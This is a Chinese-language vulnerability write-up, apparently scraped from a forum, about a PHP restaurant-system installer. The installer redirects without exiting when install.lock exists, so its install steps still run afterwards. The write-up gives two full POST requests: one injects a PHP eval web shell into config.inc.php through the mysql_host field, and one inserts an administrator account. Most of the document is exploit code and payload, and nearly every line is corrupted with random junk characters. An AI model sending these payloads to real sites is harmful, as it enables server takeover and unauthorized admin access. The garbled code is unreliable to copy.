问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
0 [ ?7 i& O/ E% B2 D6 q
: ^/ h1 q9 n( r0 ]3 X. G<?php
; ~% n n G# N Qif(file_exists("../install.lock")) l; ]2 ]# y+ ?" j
{: h9 H5 k: Z* W
header("Location: ../");//没有退出
, ]( u: g" P, ?7 p& l}
: J2 |4 k$ B6 l6 J: v* o% b
, n( X; f4 q. Y T) d. w1 p/ c7 `//echo 'tst';exit;7 b1 k- K. N! P0 f* s8 i
require_once("init.php");' G7 `. N) ]4 F+ P9 r, k5 x0 _
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
' e* u3 L, q$ W) Z+ r# R8 \4 z! [{, V W- m, g' p7 f) O
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。+ x: S) z" x( J8 d5 @5 J# s, v
4 U! n1 v2 F5 [2 }. h3 V1、getshell(很危险)/ l6 X% V* [5 f) }. B% K
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
" J8 t* @" S& T# C{
3 v( u& D D/ {/ T+ H: R) ]$smarty->assign("step",1);' L+ ^0 X9 I& w5 O2 L# Q
$smarty->display("index.html");0 }* C+ I/ I! J1 O" Z: b# ~3 J- I8 e
}elseif($_REQUEST['step']==2)
; B' j* g5 E1 [, J6 c. L5 A{; w& X/ v5 W9 J5 T: ^ _
$mysql_host=trim($_POST['mysql_host']);. o( j$ E( `* g( y! `8 W
$mysql_user=trim($_POST['mysql_user']);
2 |+ j- ?1 ^/ m' ? $mysql_pwd=trim($_POST['mysql_pwd']);, p3 c6 P" n6 g C% | O
$mysql_db=trim($_POST['mysql_db']);& Q6 e0 Z: E7 n: Y
$tblpre=trim($_POST['tblpre']);
/ l4 C! N* Z/ a1 Z+ z $domain==trim($_POST['domain']);8 o6 i0 P7 ^& l1 a8 Y: P
$str="<?php \r\n";
7 b9 G U. r, l) G" D, N3 U $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
5 g, a1 Y) V" r $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";* ]' u6 x1 l! W, `, a F6 h5 O- X5 x
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";! J: [" a. g [/ G. a, X* r
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
8 h4 s$ h$ _+ \6 S $str.='define("MYSQL_CHARSET","GBK");'."\r\n";4 W/ g' {4 [/ y) V) y3 [! V( Y
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";5 d! p7 F& V8 b' P6 f; V1 q
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
& {& Z. V& F# M4 [5 m: D/ o $str.='define("SKINS","default");'."\r\n";$ N) h3 ^5 N5 O, Q# m
$str.='?>';1 }$ v# ^+ M$ S
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件( U) `9 X7 o) v2 P: R5 L4 \$ r& n
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
n5 s) S% a6 s' l) _2 Q' R' ?' ?POST /canting/install/index.php?m=index&step=2 HTTP/1.1+ U4 B% R/ m* K& i9 _( J' @: @
Host: 192.168.80.129
* r; S S2 K6 w0 X# nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0% C: r# k$ H+ t. B
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8# s. B H9 V: ], y8 ~/ _
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3) ~( a t5 M2 c: _
Accept-Encoding: gzip, deflate% n4 p6 T. W% q
Referer: http://192.168.80.129/canting/install/index.php?step=1
$ U0 P, R: C! s/ ~( d9 A) GCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
2 [1 {# F. N+ f- M; _3 |3 }Content-Type: application/x-www-form-urlencoded
' _$ e$ G2 Q( d1 v) \Content-Length: 126: k. X8 b L$ q4 X: l4 x1 L
! W+ L3 Y9 q3 k3 {
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
8 \0 Q2 J4 Q/ G. j% `2 E0 ?但是这个方法很危险,将导致网站无法运行。
3 k* ]/ S: K6 O" x% V( X) X) y. M3 J
2、直接添加管理员
0 W9 J6 `7 H# A/ F* \. ~% D
4 X% s8 k- O0 a) t% Lelseif($_REQUEST['step']==5)
3 Z( m# Q2 p1 }/ z4 d6 m{
" P0 v. V" ^0 l! P' J if($_POST)
% E! O+ Q# o9 o7 @3 T6 b3 d { require_once("../config/config.inc.php");
. q- ^. c/ p8 g. S( M6 p $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);, x) o! l' o$ v- A
mysql_select_db(MYSQL_DB,$link);) b1 d- B4 N$ g- @; c. c) |% k
mysql_query("SET NAMES ".MYSQL_CHARSET );6 C% s* t) Y1 z
mysql_query("SET sql_mode=''");
! K$ z& R( l# v; n X& \& E+ l+ X- i1 ^+ ?2 h
$adminname=trim($_POST['adminname']); C5 m0 k: C2 K( J- i. m* @4 A
$pwd1=trim($_POST['pwd1']);
" z+ Z+ D9 R% c $pwd2=trim($_POST['pwd2']);
! F; u( _0 G3 z- D if(empty($adminname))
5 Y; ~6 M# [& ]9 w+ c$ V, t1 ` {
B. K, L% [2 i. x1 ?6 P
0 y5 f; @0 T. l; ?' f. O echo "<script>alert('管理员不能为空');history.go(-1);</script>";
, y$ z& B" ]$ n& |! @: J exit();, g7 H5 N* I& H3 }
}: e0 m- H) O* l) O) f
if(($pwd1!=$pwd2) or empty($pwd1))0 q' C( F$ e4 O" e
{
, _5 C. Q3 z; g echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
# {2 a1 `* o0 o; x! p+ r }6 F5 A& i+ S0 S( ?4 v; E7 z0 @) W
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员. X; b& U) q+ B1 J1 C& o3 a
}; y* c3 A1 Y" o$ _( Z
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:2 H4 z9 g" E. D+ K' I1 L5 i2 |
POST /canting/install/index.php?m=index&step=5 HTTP/1.18 H# B$ [2 l% V6 A
Host: 192.168.80.129
; `$ p! l6 g% v1 ~3 Z4 b- r) GUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0* R3 ^& I4 O) X T
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8+ ~8 p# ]8 R, S0 [
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3. Y; d( }5 {: f# L3 y
Accept-Encoding: gzip, deflate
# |6 p* p2 `& B6 N# HReferer: http://www.2cto.com /canting/install/index.php?step=1
v( d3 W4 z0 E+ ICookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42) E' y' o: N6 v8 @; A& q1 w, I9 r1 X. w
Content-Type: application/x-www-form-urlencoded
- S- ~" |7 R# Y$ yContent-Length: 46
& D, z2 U1 A* g$ j / l; w& t/ Y, ]) w
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
0 Q1 l& L9 A+ P" H" V |